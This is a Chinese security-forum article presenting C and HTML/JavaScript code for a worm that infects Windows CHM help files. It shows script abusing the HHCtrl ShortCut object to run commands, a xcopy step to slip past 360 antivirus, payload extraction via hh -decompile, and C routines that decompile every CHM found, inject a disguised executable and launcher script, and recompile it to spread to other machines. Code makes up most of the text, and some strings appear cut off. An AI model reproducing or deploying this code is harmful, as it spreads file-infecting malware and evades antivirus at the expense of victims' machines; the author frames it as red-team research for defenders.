查看原文
其他

利用chm文件实现病毒程序的蠕虫式横向传播

某警官 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:某警官



一  引言


这个项目属于我毕设中的一个模块,在19年时看到红队利用chm作为钓鱼文件进行入侵,在对他的手法进行复现后,发现并不能绕过360的主动防御,于是我对其中的主要js代码进行改进使其可以绕过主动防御,并在此基础上,对chm文件的文件结构与编译过程进行了研究,于是便有了此项目。

使用此项目,可以在对方打开被感染的chm文件时,感染对方电脑中的所有chm文件,被感染的chm文件复制到其他电脑打开时,又会进行新一轮的攻击。

最近又进行了一次测试,发现原本的攻击手法已经不能绕过360主动防御了,大家可以在此基础上继续寻找绕过的方法。该项目旨在研究红队的攻击手法,以便蓝队更好的进行防御。


二  需求分析与初步设计


2.1 执行js代码,调用系统命令

可以通过在主页html中添加js的方式实现。

2.2 释放恶意代码文件

通过在编译时,对chm添加恶意程序,调用系统命令hh -decompile将程序释放到指定路径来实现。

2.3 感染其他chm文件

通过释放微软提供的chm编译工具hhc.exe到磁盘中,根据反编译文件的内容,创建chm的编译环境配置文件,并在主页中插入js。



三  具体实现


3.1 在html中执行js调用系统命令

通过以上方式,在Item1的value中添加需要执行的命令即可。
<div id="t0"></div><OBJECT id=demo classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',calc.exe'></OBJECT>demo.Click();</SCRIPT>

3.2 释放恶意代码文件

在3.1的基础上编写以下的js代码,即可将恶意程序释放并调用,直接上代码:
<div id="t0"></div><OBJECT id=copy classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',xcopy,C:\Windows\SysWOW64\hh.exe /N C:\Users\Public\Dow</OBJECT><OBJECT id=call classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value = ',path'></OBJECT><SCRIPT>var str=location.href;var commodStr0 ='<OBJECT id=decompile classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1'<PARAM name="Command" value="ShortCut0">' +'<PARAM name="Button" value="Bitmap::shortcut0">' +'<PARAM name="Item1" value=",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,-decompile'</OBJECT>';var sleep = function(time) { var startTime = new Date().getTime() + parseInt(time, 10); while (new Date().getTime() < startTime) {}};copy.Click();sleep(100);document.getElementById('t0').innerHTML = commodStr0;decompile.Click();sleep(100);call.Click();</SCRIPT>

其中调用xcopy拷贝hh.exe到Public目录,是因为在19年时,360对system目录路径下的hh.exe的调用做了主动防御,但并未对该目录下的xcopy.exe做主动防御,因此调用xcopy将hh.exe拷贝到其他目录下,即可绕过,但是现在经测试已经无效,不知道是对xcopy做了主动防御还是对整个system路径都做了主动防御,感兴趣的可以试一下。
 
3.3 感染其他chm文件
    
话不多说,直接上代码,首先需要将微软提供的chm编译工具释放到磁盘中:
int InitEnv() { char szHhcPath[MAX_PATH]; char szHhaPath[MAX_PATH]; GetTempPath(MAX_PATH, szTempPath); strcpy(szHhcPath, szTempPath); strcat(szHhcPath, "hhc.exe"); strcpy(szHhaPath, szTempPath); strcat(szHhaPath, "hha.dll"); if (ReleaseRes(IDR_BIN2, szHhcPath) && ReleaseRes(IDR_BIN3, szHhaPath)) { return TRUE; } return FALSE;}

在编译磁盘遇到chm文件时,需要先对其进行反编译,对反编译出的文件中的hhk文件添加需要捆绑的文件信息,在hhc文件中寻找主页文件路径,并对主页文件添加js,代码如下:
void InsertCode(char* szChmPath, char* szOutDir) { // 遍历目录 char szFindPath[MAX_PATH] = { 0 }; char szHhcPath[MAX_PATH] = { 0 }; char szHhkPath[MAX_PATH] = { 0 }; // 临时文件路径 char szTmpPath[MAX_PATH] = { 0 }; // 一行文本数据 char szLine[MAX_PATH] = { 0 }; // 首页文件的绝对路径 char szFirstPath[MAX_PATH] = { 0 }; // 临时文件 FILE* pTmp; // 是否已插入数据 int bInsert = FALSE; //ReleaseRes() strcat(szFindPath, (char*)szOutDir); strcat(szFindPath, "\\*"); WIN32_FIND_DATA wfd = { 0 }; HANDLE hFile = FindFirstFileA(szFindPath, &wfd); if (hFile != INVALID_HANDLE_VALUE) { do { if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { continue; } char* suffix = strrchr(wfd.cFileName, '.'); // 在编译内容文件HHK中新增捆绑文件 if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) { bInsert = FALSE; sprintf(szHhkPath, "%s\\%s", szOutDir, wfd.cFileName); sprintf(szTmpPath, "%s\\%s", szOutDir, "tmp.hhk"); FILE* pHhc = fopen(szHhkPath, "r+"); FILE* pTmp = fopen(szTmpPath, "w"); while (fgets(szLine, MAX_PATH, pHhc)) { // 在第一次出现"<LI> <OBJECT type="的上一行插入数据 if (strstr(szLine, "<LI> <OBJECT type=") && !bInsert) { fputs(szInsertHhk, pTmp); bInsert = TRUE; } fputs(szLine, pTmp); } fclose(pTmp); fclose(pHhc); // 用tmp.hhk替换原本的hhk CopyFile(szTmpPath, szHhkPath, FALSE); DeleteFile(szTmpPath); } // 在目录文件HHC中获取首页文件并插入代码 if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) { sprintf(szHhcPath, "%s\\%s", szOutDir, wfd.cFileName); FILE* pHhc = fopen(szHhcPath, "r"); strcpy(szFirstPath, szOutDir); strcat(szFirstPath, "\\"); while (fgets(szLine, MAX_PATH, pHhc)) { // 第一次出现"<param name="Local" value="处为首页文件 if (strstr(szLine, "<param name=\"Local\" value=")) { int dwLineLen = strlen(szLine); int dwIndex = strlen("\t\t<param name=\"Local\" value=\""); // 去除前缀和后面的" ">\n " strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3); StrReplace(szFirstPath, "/", "\\"); break; } } fclose(pHhc); bInsert = FALSE; memset(szTmpPath, 0, sizeof(szTmpPath)); strcpy(szTmpPath, szOutDir); strcat(szTmpPath, "\\tmp.html"); pTmp = fopen(szTmpPath, "w"); FILE* pFirstFile = fopen(szFirstPath, "r"); while (fgets(szLine, MAX_PATH, pFirstFile)) { // 在第一次出现"<html>"的下一行插入数据 fputs(szLine, pTmp); if (strstr(szLine, "<html>") && !bInsert) { // 添加 TencentMusic.exe fputs(szFirstPage, pTmp); bInsert = TRUE; } } fclose(pFirstFile); fclose(pTmp); // 用tmp.hhk替换原本的hhk CopyFile(szTmpPath, szFirstPath, FALSE); DeleteFile(szTmpPath); } } while (FindNextFileA(hFile, &wfd)); } FindClose(hFile);}

其中对hhk插入的代码如下:
char szInsertHhk[1024] = "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"TencentMusic\">\n" \ "\t\t<param name=\"Local\" value=\"TencentMusic.exe\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"qqmusic\">\n" \ "\t\t<param name=\"Local\" value=\"qqmusic.dll\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"msvcp100\">\n" \ "\t\t<param name=\"Local\" value=\"msvcp100.dll\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"msvcr100\">\n" \ "\t\t<param name=\"Local\" value=\"msvcr100.dll\">\n" \ "\t\t</OBJECT>\n";

对主页文件添加的代码如下:
char szFirstPage[2048] = "<div id=\"t0\">\n" \ "</div>\n" \ "<OBJECT id=copy classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n" \ "<PARAM name=\"Command\"value=\"ShortCut\">\n" \ "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n" \ "<PARAM name=\"Item1\"value=',xcopy,C:\\Windows\\SysWOW64\\hh.exe /N C:\\Users "</OBJECT>\n" \ "<OBJECT id=call classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n" \ "<PARAM name=\"Command\"value=\"ShortCut\">\n" \ "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n" \ "<PARAM name=\"Item1\"value = ',C:\\Users\\Public\\Downloads\\Temp\\TencentMus "</OBJECT>\n" \ "<SCRIPT>\n" \ "var str=location.href;\n" \ "var commodStr0 =\n" \ "'<OBJECT id=decompile classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\" "'<PARAM name=\"Command\" value=\"ShortCut0\">' +\n" \ "'<PARAM name=\"Button\" value=\"Bitmap::shortcut0\">' +\n" \ "'<PARAM name=\"Item1\" value=\",C:\\\\Users\\\\Public\\\\Downloads\\\\Temp\\\ "'</OBJECT>';\n" \ "var sleep = function(time) {\n" \ " var startTime = new Date().getTime() + parseInt(time, 10);\n" \ " while (new Date().getTime() < startTime) {}\n" \ "};\n" \ "copy.Click();\n" \ "sleep(100);\n" \ "document.getElementById('t0').innerHTML = commodStr0;\n" \ "decompile.Click();\n" \ "sleep(100);\n" \ "call.Click();\n" \ "</SCRIPT>\n";

对hhc程序进行分析后可以发现,chm的编译依赖于一个hhp的配置文件,文件的主要内容如下:

    
创建hpp文件时,需要遍历反编译目录寻找hhc文件和hhk文件,将两个文件的路径分别赋值给Index file和Contents file,Combiled file和Title字段区赋值为chm文件名称,代码如下:
void ChmCompile(char* szChmPath, char* szOutDir) { char szFindPath[MAX_PATH] = { 0 }; char szHhpPath[MAX_PATH] = { 0 }; char szChmName[MAX_PATH] = { 0 }; char szHhkName[MAX_PATH] = { 0 }; char szHhcName[MAX_PATH] = { 0 }; char szOptions[MAX_PATH] = { 0 }; char szCompiledFile[MAX_PATH] = { 0 }; char szContentsFile[MAX_PATH] = { 0 }; char szIndexFile[MAX_PATH] = { 0 }; char szTitle[MAX_PATH] = { 0 }; char szCompileCmd[MAX_PATH] = { 0 }; char szNewChmPath[MAX_PATH] = { 0 }; strcat(szFindPath, szOutDir); strcat(szFindPath, "\\*"); WIN32_FIND_DATA wfd = { 0 }; HANDLE hFile = FindFirstFileA(szFindPath, &wfd); if (hFile != INVALID_HANDLE_VALUE) { do { if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { continue; } char* suffix = strrchr(wfd.cFileName, '.'); if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) { strcpy(szHhkName, wfd.cFileName); } if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) { strcpy(szHhcName, wfd.cFileName); } } while (FindNextFileA(hFile, &wfd)); } FindClose(hFile); strcpy(szChmName, strrchr(szOutDir, '\\') + 1); strcpy(szHhpPath, szOutDir); strcat(szHhpPath, "\\"); strcat(szHhpPath, szChmName); strcat(szHhpPath, ".hhp"); // 创建hhp文件 FILE* pHhpFile = fopen(szHhpPath, "wb+"); strcpy(szOptions, "[OPTIONS]\n"); fwrite(szOptions, 1, strlen(szOptions), pHhpFile); strcpy(szCompiledFile, "Compiled file="); strcat(szCompiledFile, szChmName); strcat(szCompiledFile, ".chm\n"); fwrite(szCompiledFile, 1, strlen(szCompiledFile), pHhpFile); strcpy(szContentsFile, "Contents file="); strcat(szContentsFile, szHhcName); strcat(szContentsFile, "\n"); fwrite(szContentsFile, 1, strlen(szContentsFile), pHhpFile); strcpy(szIndexFile, "Index file="); strcat(szIndexFile, szHhkName); strcat(szIndexFile, "\n"); fwrite(szIndexFile, 1, strlen(szIndexFile), pHhpFile); strcpy(szTitle, "Title="); strcat(szTitle, szChmName); strcat(szTitle, "\n"); fwrite(szTitle, 1, strlen(szTitle), pHhpFile); fflush(pHhpFile); fclose(pHhpFile); strcpy(szCompileCmd, szTempPath); strcat(szCompileCmd, "hhc.exe "); strcat(szCompileCmd, szHhpPath); // 编译生成修改后的chm system(szCompileCmd); // 用修改后的chm替换原本的chm //DeleteFile(szChmPath); strcpy(szNewChmPath, szOutDir); strcat(szNewChmPath, "\\"); strcat(szNewChmPath, szChmName); strcat(szNewChmPath, ".chm"); CopyFile(szNewChmPath, szChmPath, FALSE); DeleteDir(szOutDir);}

调用释放的hhc.exe进行编译生成新的chm文件,这个新的chm即是被感染的chm。


    

四  结语


以上代码只是一个demo,在真实的场景中会遇到hhc和hhk的一些编码问题,想要进一步研究的可以自己解决以下,这里就不写了。最后附上c文件。(点击左下角阅读原文,去原帖下载附件)


- End -




看雪ID:某警官

https://bbs.pediy.com/user-home-856450.htm

  *本文由看雪论坛 某警官 原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年6月班火热招生中!


# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存